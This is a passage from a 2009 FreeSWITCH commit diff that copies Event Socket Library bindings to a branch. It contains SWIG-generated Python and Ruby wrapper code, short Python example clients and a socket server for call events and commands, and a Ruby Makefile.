+    swig_type_info **types,
+    swig_type_info **types_initial) {
+    size_t i;
+    for (i = 0; methods[i].ml_name; ++i) {
+      const char *c = methods[i].ml_doc;
+      if (c && (c = strstr(c, "swig_ptr: "))) {
+        int j;
+        swig_const_info *ci = 0;
+        const char *name = c + 10;
+        for (j = 0; const_table[j].type; ++j) {
+          if (strncmp(const_table[j].name, name, 
+              strlen(const_table[j].name)) == 0) {
+            ci = &(const_table[j]);
+            break;
+          }
+        }
+        if (ci) {
+          size_t shift = (ci->ptype) - types;
+          swig_type_info *ty = types_initial[shift];
+          size_t ldoc = (c - methods[i].ml_doc);
+          size_t lptr = strlen(ty->name)+2*sizeof(void*)+2;
+          char *ndoc = (char*)malloc(ldoc + lptr + 10);
+          if (ndoc) {
+            char *buff = ndoc;
+            void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0;
+            if (ptr) {
+              strncpy(buff, methods[i].ml_doc, ldoc);
+              buff += ldoc;
+              strncpy(buff, "swig_ptr: ", 10);
+              buff += 10;
+              SWIG_PackVoidPtr(buff, ptr, ty->name, lptr);
+              methods[i].ml_doc = ndoc;
+            }
+          }
+        }
+      }
+    }
+  } 
+  
+#ifdef __cplusplus
+}
+#endif
+
+/* -----------------------------------------------------------------------------*
+ *  Partial Init method
+ * -----------------------------------------------------------------------------*/
+
+#ifdef __cplusplus
+extern "C"
+#endif
+SWIGEXPORT void SWIG_init(void) {
+  PyObject *m, *d;
+  
+  /* Fix SwigMethods to carry the callback ptrs when needed */
+  SWIG_Python_FixMethods(SwigMethods, swig_const_table, swig_types, swig_type_initial);
+  
+  m = Py_InitModule((char *) SWIG_name, SwigMethods);
+  d = PyModule_GetDict(m);
+  
+  SWIG_InitializeModule(0);
+  SWIG_InstallConstants(d,swig_const_table);
+  
+  
+}
+

Deleted: freeswitch/branches/seven/libs/esl/python/events.py

Copied: freeswitch/branches/seven/libs/esl/python/events.py (from rev 14471, freeswitch/trunk/libs/esl/python/events.py) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/events.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/events.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+
+import string
+import sys
+
+from ESL import *
+
+con = ESLconnection("localhost","8021","ClueCon")
+#are we connected?
+
+if con.connected:
+
+  con.events("plain", "all");
+
+  while 1:
+  #my $e = $con->recvEventTimed(100);
+    e = con.recvEvent()
+
+    if e:
+      print e.serialize()

Deleted: freeswitch/branches/seven/libs/esl/python/server.py

Copied: freeswitch/branches/seven/libs/esl/python/server.py (from rev 14471, freeswitch/trunk/libs/esl/python/server.py) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/server.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/server.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+import SocketServer
+from ESL import *
+
+class ESLRequestHandler(SocketServer.BaseRequestHandler ):
+	def setup(self):
+		print self.client_address, 'connected!'
+
+		fd = self.request.fileno()
+		print fd
+
+		con = ESLconnection(fd)
+		print "Connected: " 
+		print  con.connected()
+		if con.connected():
+
+			info = con.getInfo()
+
+			uuid = info.getHeader("unique-id")
+			print uuid
+			con.execute("answer", "", uuid)
+			con.execute("playback", "/ram/swimp.raw", uuid);
+		
+#server host is a tuple ('host', port)
+server = SocketServer.ThreadingTCPServer(('', 8040), ESLRequestHandler)
+server.serve_forever()
+
+

Deleted: freeswitch/branches/seven/libs/esl/python/single_command.py

Copied: freeswitch/branches/seven/libs/esl/python/single_command.py (from rev 14471, freeswitch/trunk/libs/esl/python/single_command.py) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/single_command.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/single_command.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+
+import string
+import sys
+from optparse import OptionParser
+from ESL import *
+
+def main(argv):
+	
+	try:
+	   
+		parser = OptionParser()
+		parser.add_option("-a", "--auth", dest="auth", default="ClueCon",
+								help="ESL password")
+		parser.add_option("-s", "--server", dest="server", default="127.0.0.1",
+								help="FreeSWITCH server IP address")
+		parser.add_option("-p", "--port", dest="port", default="8021",
+								help="FreeSWITCH server event socket port")
+		parser.add_option("-c", "--command", dest="command",
+								help="command to run, surround mutli word commands in \"\'s")
+
+		(options, args) = parser.parse_args()
+
+			
+		con = ESLconnection(options.server, options.port, options.auth)
+	#are we connected?
+
+		if con.connected:
+			#run command
+			e=con.sendRecv("api "+  options.command)
+			print e.getBody()
+
+		else:
+
+			print "Not Connected"
+			sys.exit(2)
+
+	except:
+		
+		print parser.get_usage()
+		
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file

Copied: freeswitch/branches/seven/libs/esl/ruby (from rev 14471, freeswitch/trunk/libs/esl/ruby)

Deleted: freeswitch/branches/seven/libs/esl/ruby/Makefile

Copied: freeswitch/branches/seven/libs/esl/ruby/Makefile (from rev 14471, freeswitch/trunk/libs/esl/ruby/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ruby/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ruby/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+## no idea how to simply ask ruby which one to use
+LOCAL_CFLAGS=-I$(shell ruby -e 'require "rbconfig"; puts RbConfig::CONFIG["topdir"]')
+LOCAL_LDFLAGS=$(shell ruby -e 'require "rbconfig"; puts RbConfig::CONFIG["LIBRUBYARG"]')
+
+all: ESL.so
+
+esl_wrap.cpp:
+	swig -module ESL -ruby -c++ -DMULTIPLICITY -I../src/include -o esl_wrap.cpp ../ESL.i
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) $(LOCAL_CFLAGS) -c esl_wrap.cpp -o esl_wrap.o
+
+ESL.so: esl_wrap.o
+	$(CXX) $(SOLINK) esl_wrap.o $(MYLIB) $(LOCAL_LDFLAGS) -o ESL.so -L. $(LIBS)
+
+clean:
+	rm -f *.o *.so *~
+
+swigclean:
+	rm -f esl_wrap.* ESL.so
+
+reswig:	swigclean esl_wrap.cpp
+

Deleted: freeswitch/branches/seven/libs/esl/ruby/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/ruby/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/ruby/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ruby/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ruby/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3778 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+#define SWIGRUBY
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * swigrun.swg
+ *
+ * This file contains generic CAPI SWIG runtime support for pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* This should only be incremented when either the layout of swig_type_info changes,
+   or for whatever reason, the runtime changes incompatibly */
+#define SWIG_RUNTIME_VERSION "4"
+
+/* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */
+#ifdef SWIG_TYPE_TABLE
+# define SWIG_QUOTE_STRING(x) #x
+# define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x)
+# define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE)
+#else
+# define SWIG_TYPE_TABLE_NAME
+#endif
+
+/*
+  You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for
+  creating a static or dynamic library from the swig runtime code.
+  In 99.9% of the cases, swig just needs to declare them as 'static'.
+  
+  But only do this if is strictly necessary, ie, if you have problems
+  with your compiler or so.
+*/
+
+#ifndef SWIGRUNTIME
+# define SWIGRUNTIME SWIGINTERN
+#endif
+
+#ifndef SWIGRUNTIMEINLINE
+# define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE
+#endif
+
+/*  Generic buffer size */
+#ifndef SWIG_BUFFER_SIZE
+# define SWIG_BUFFER_SIZE 1024
+#endif
+
+/* Flags for pointer conversions */
+#define SWIG_POINTER_DISOWN        0x1
+#define SWIG_CAST_NEW_MEMORY       0x2
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_OWN           0x1
+
+
+/* 
+   Flags/methods for returning states.
+   
+   The swig conversion methods, as ConvertPtr, return and integer 
+   that tells if the conversion was successful or not. And if not,
+   an error code can be returned (see swigerrors.swg for the codes).
+   
+   Use the following macros/flags to set or process the returning
+   states.
+   
+   In old swig versions, you usually write code as:
+
+     if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) {
+       // success code
+     } else {
+       //fail code
+     }
+
+   Now you can be more explicit as:
+
+    int res = SWIG_ConvertPtr(obj,vptr,ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+    } else {
+      // fail code
+    }
+
+   that seems to be the same, but now you can also do
+
+    Type *ptr;
+    int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+      if (SWIG_IsNewObj(res) {
+        ...
+	delete *ptr;
+      } else {
+        ...
+      }
+    } else {
+      // fail code
+    }
+    
+   I.e., now SWIG_ConvertPtr can return new objects and you can
+   identify the case and take care of the deallocation. Of course that
+   requires also to SWIG_ConvertPtr to return new result values, as
+
+      int SWIG_ConvertPtr(obj, ptr,...) {         
+        if (<obj is ok>) {			       
+          if (<need new object>) {		       
+            *ptr = <ptr to new allocated object>; 
+            return SWIG_NEWOBJ;		       
+          } else {				       
+            *ptr = <ptr to old object>;	       
+            return SWIG_OLDOBJ;		       
+          } 				       
+        } else {				       
+          return SWIG_BADOBJ;		       
+        }					       
+      }
+
+   Of course, returning the plain '0(success)/-1(fail)' still works, but you can be
+   more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the
+   swig errors code.
+
+   Finally, if the SWIG_CASTRANK_MODE is enabled, the result code
+   allows to return the 'cast rank', for example, if you have this
+
+       int food(double)
+       int fooi(int);
+
+   and you call
+ 
+      food(1)   // cast rank '1'  (1 -> 1.0)
+      fooi(1)   // cast rank '0'
+
+   just use the SWIG_AddCast()/SWIG_CheckState()
+
+
+ */
+#define SWIG_OK                    (0) 
+#define SWIG_ERROR                 (-1)
+#define SWIG_IsOK(r)               (r >= 0)
+#define SWIG_ArgError(r)           ((r != SWIG_ERROR) ? r : SWIG_TypeError)  
+
+/* The CastRankLimit says how many bits are used for the cast rank */
+#define SWIG_CASTRANKLIMIT         (1 << 8)
+/* The NewMask denotes the object was created (using new/malloc) */
+#define SWIG_NEWOBJMASK            (SWIG_CASTRANKLIMIT  << 1)
+/* The TmpMask is for in/out typemaps that use temporal objects */
+#define SWIG_TMPOBJMASK            (SWIG_NEWOBJMASK << 1)
+/* Simple returning values */
+#define SWIG_BADOBJ                (SWIG_ERROR)
+#define SWIG_OLDOBJ                (SWIG_OK)
+#define SWIG_NEWOBJ                (SWIG_OK | SWIG_NEWOBJMASK)
+#define SWIG_TMPOBJ                (SWIG_OK | SWIG_TMPOBJMASK)
+/* Check, add and del mask methods */
+#define SWIG_AddNewMask(r)         (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r)
+#define SWIG_DelNewMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r)
+#define SWIG_IsNewObj(r)           (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK))
+#define SWIG_AddTmpMask(r)         (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r)
+#define SWIG_DelTmpMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r)
+#define SWIG_IsTmpObj(r)           (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK))
+
+
+/* Cast-Rank Mode */
+#if defined(SWIG_CASTRANK_MODE)
+#  ifndef SWIG_TypeRank
+#    define SWIG_TypeRank             unsigned long
+#  endif
+#  ifndef SWIG_MAXCASTRANK            /* Default cast allowed */
+#    define SWIG_MAXCASTRANK          (2)
+#  endif
+#  define SWIG_CASTRANKMASK          ((SWIG_CASTRANKLIMIT) -1)
+#  define SWIG_CastRank(r)           (r & SWIG_CASTRANKMASK)
+SWIGINTERNINLINE int SWIG_AddCast(int r) { 
+  return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r;
+}
+SWIGINTERNINLINE int SWIG_CheckState(int r) { 
+  return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; 
+}
+#else /* no cast-rank mode */
+#  define SWIG_AddCast
+#  define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0)
+#endif
+
+
+
+
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void *(*swig_converter_func)(void *, int *);
+typedef struct swig_type_info *(*swig_dycast_func)(void **);
+
+/* Structure to store information on one type */
+typedef struct swig_type_info {
+  const char             *name;			/* mangled name of this type */
+  const char             *str;			/* human readable name of this type */
+  swig_dycast_func        dcast;		/* dynamic cast function down a hierarchy */
+  struct swig_cast_info  *cast;			/* linked list of types that can cast into this type */
+  void                   *clientdata;		/* language specific type data */
+  int                    owndata;		/* flag if the structure owns the clientdata */
+} swig_type_info;
+
+/* Structure to store a type and conversion function used for casting */
+typedef struct swig_cast_info {
+  swig_type_info         *type;			/* pointer to type that is equivalent to this type */
+  swig_converter_func     converter;		/* function to cast the void pointers */
+  struct swig_cast_info  *next;			/* pointer to next cast in linked list */
+  struct swig_cast_info  *prev;			/* pointer to the previous cast */
+} swig_cast_info;
+
+/* Structure used to store module information
+ * Each module generates one structure like this, and the runtime collects
+ * all of these structures and stores them in a circularly linked list.*/
+typedef struct swig_module_info {
+  swig_type_info         **types;		/* Array of pointers to swig_type_info structures that are in this module */
+  size_t                 size;		        /* Number of types in this module */
+  struct swig_module_info *next;		/* Pointer to next element in circularly linked list */
+  swig_type_info         **type_initial;	/* Array of initially generated type structures */
+  swig_cast_info         **cast_initial;	/* Array of initially generated casting structures */
+  void                    *clientdata;		/* Language specific module data */
+} swig_module_info;
+
+/* 
+  Compare two type names skipping the space characters, therefore
+  "char*" == "char *" and "Class<int>" == "Class<int >", etc.
+
+  Return 0 when the two name types are equivalent, as in
+  strncmp, but skipping ' '.
+*/
+SWIGRUNTIME int
+SWIG_TypeNameComp(const char *f1, const char *l1,
+		  const char *f2, const char *l2) {
+  for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) {
+    while ((*f1 == ' ') && (f1 != l1)) ++f1;
+    while ((*f2 == ' ') && (f2 != l2)) ++f2;
+    if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1;
+  }
+  return (int)((l1 - f1) - (l2 - f2));
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if not equal, 1 if equal
+*/
+SWIGRUNTIME int
+SWIG_TypeEquiv(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if equal, -1 if nb < tb, 1 if nb > tb
+*/
+SWIGRUNTIME int
+SWIG_TypeCompare(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+
+/* think of this as a c++ template<> or a scheme macro */
+#define SWIG_TypeCheck_Template(comparison, ty)         \
+  if (ty) {                                             \
+    swig_cast_info *iter = ty->cast;                    \
+    while (iter) {                                      \
+      if (comparison) {                                 \
+        if (iter == ty->cast) return iter;              \
+        /* Move iter to the top of the linked list */   \
+        iter->prev->next = iter->next;                  \
+        if (iter->next)                                 \
+          iter->next->prev = iter->prev;                \
+        iter->next = ty->cast;                          \
+        iter->prev = 0;                                 \
+        if (ty->cast) ty->cast->prev = iter;            \
+        ty->cast = iter;                                \
+        return iter;                                    \
+      }                                                 \
+      iter = iter->next;                                \
+    }                                                   \
+  }                                                     \
+  return 0
+
+/*
+  Check the typename
+*/
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(strcmp(iter->type->name, c) == 0, ty);
+}
+
+/* Same as previous function, except strcmp is replaced with a pointer comparison */
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *into) {
+  SWIG_TypeCheck_Template(iter->type == from, into);
+}
+
+/*
+  Cast a pointer up an inheritance hierarchy
+*/
+SWIGRUNTIMEINLINE void *
+SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) {
+  return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory);
+}
+
+/* 
+   Dynamic pointer casting. Down an inheritance hierarchy
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) {
+  swig_type_info *lastty = ty;
+  if (!ty || !ty->dcast) return ty;
+  while (ty && (ty->dcast)) {
+    ty = (*ty->dcast)(ptr);
+    if (ty) lastty = ty;
+  }
+  return lastty;
+}
+
+/*
+  Return the name associated with this type
+*/
+SWIGRUNTIMEINLINE const char *
+SWIG_TypeName(const swig_type_info *ty) {
+  return ty->name;
+}
+
+/*
+  Return the pretty name associated with this type,
+  that is an unmangled type name in a form presentable to the user.
+*/
+SWIGRUNTIME const char *
+SWIG_TypePrettyName(const swig_type_info *type) {
+  /* The "str" field contains the equivalent pretty names of the
+     type, separated by vertical-bar characters.  We choose
+     to print the last name, as it is often (?) the most
+     specific. */
+  if (!type) return NULL;
+  if (type->str != NULL) {
+    const char *last_name = type->str;
+    const char *s;
+    for (s = type->str; *s; s++)
+      if (*s == '|') last_name = s+1;
+    return last_name;
+  }
+  else
+    return type->name;
+}
+
+/* 
+   Set the clientdata field for a type
+*/
+SWIGRUNTIME void
+SWIG_TypeClientData(swig_type_info *ti, void *clientdata) {
+  swig_cast_info *cast = ti->cast;
+  /* if (ti->clientdata == clientdata) return; */
+  ti->clientdata = clientdata;
+  
+  while (cast) {
+    if (!cast->converter) {
+      swig_type_info *tc = cast->type;
+      if (!tc->clientdata) {
+	SWIG_TypeClientData(tc, clientdata);
+      }
+    }    
+    cast = cast->next;
+  }
+}
+SWIGRUNTIME void
+SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) {
+  SWIG_TypeClientData(ti, clientdata);
+  ti->owndata = 1;
+}
+  
+/*
+  Search for a swig_type_info structure only by mangled name
+  Search is a O(log #types)
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_MangledTypeQueryModule(swig_module_info *start, 
+                            swig_module_info *end, 
+		            const char *name) {
+  swig_module_info *iter = start;
+  do {
+    if (iter->size) {
+      register size_t l = 0;
+      register size_t r = iter->size - 1;
+      do {
+	/* since l+r >= 0, we can (>> 1) instead (/ 2) */
+	register size_t i = (l + r) >> 1; 
+	const char *iname = iter->types[i]->name;
+	if (iname) {
+	  register int compare = strcmp(name, iname);
+	  if (compare == 0) {	    
+	    return iter->types[i];
+	  } else if (compare < 0) {
+	    if (i) {
+	      r = i - 1;
+	    } else {
+	      break;
+	    }
+	  } else if (compare > 0) {
+	    l = i + 1;
+	  }
+	} else {
+	  break; /* should never happen */
+	}
+      } while (l <= r);
+    }
+    iter = iter->next;
+  } while (iter != end);
+  return 0;
+}
+
+/*
+  Search for a swig_type_info structure for either a mangled name or a human readable name.
+  It first searches the mangled names of the types, which is a O(log #types)
+  If a type is not found it then searches the human readable names, which is O(#types).
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeQueryModule(swig_module_info *start, 
+                     swig_module_info *end, 
+		     const char *name) {
+  /* STEP 1: Search the name field using binary search */
+  swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name);
+  if (ret) {
+    return ret;
+  } else {
+    /* STEP 2: If the type hasn't been found, do a complete search
+       of the str field (the human readable name) */
+    swig_module_info *iter = start;
+    do {
+      register size_t i = 0;
+      for (; i < iter->size; ++i) {
+	if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name)))
+	  return iter->types[i];
+      }
+      iter = iter->next;
+    } while (iter != end);
+  }
+  
+  /* neither found a match */
+  return 0;
+}
+
+/* 
+   Pack binary data into a string
+*/
+SWIGRUNTIME char *
+SWIG_PackData(char *c, void *ptr, size_t sz) {
+  static const char hex[17] = "0123456789abcdef";
+  register const unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu =  u + sz;
+  for (; u != eu; ++u) {
+    register unsigned char uu = *u;
+    *(c++) = hex[(uu & 0xf0) >> 4];
+    *(c++) = hex[uu & 0xf];
+  }
+  return c;
+}
+
+/* 
+   Unpack binary data from a string
+*/
+SWIGRUNTIME const char *
+SWIG_UnpackData(const char *c, void *ptr, size_t sz) {
+  register unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu = u + sz;
+  for (; u != eu; ++u) {
+    register char d = *(c++);
+    register unsigned char uu;
+    if ((d >= '0') && (d <= '9'))
+      uu = ((d - '0') << 4);
+    else if ((d >= 'a') && (d <= 'f'))
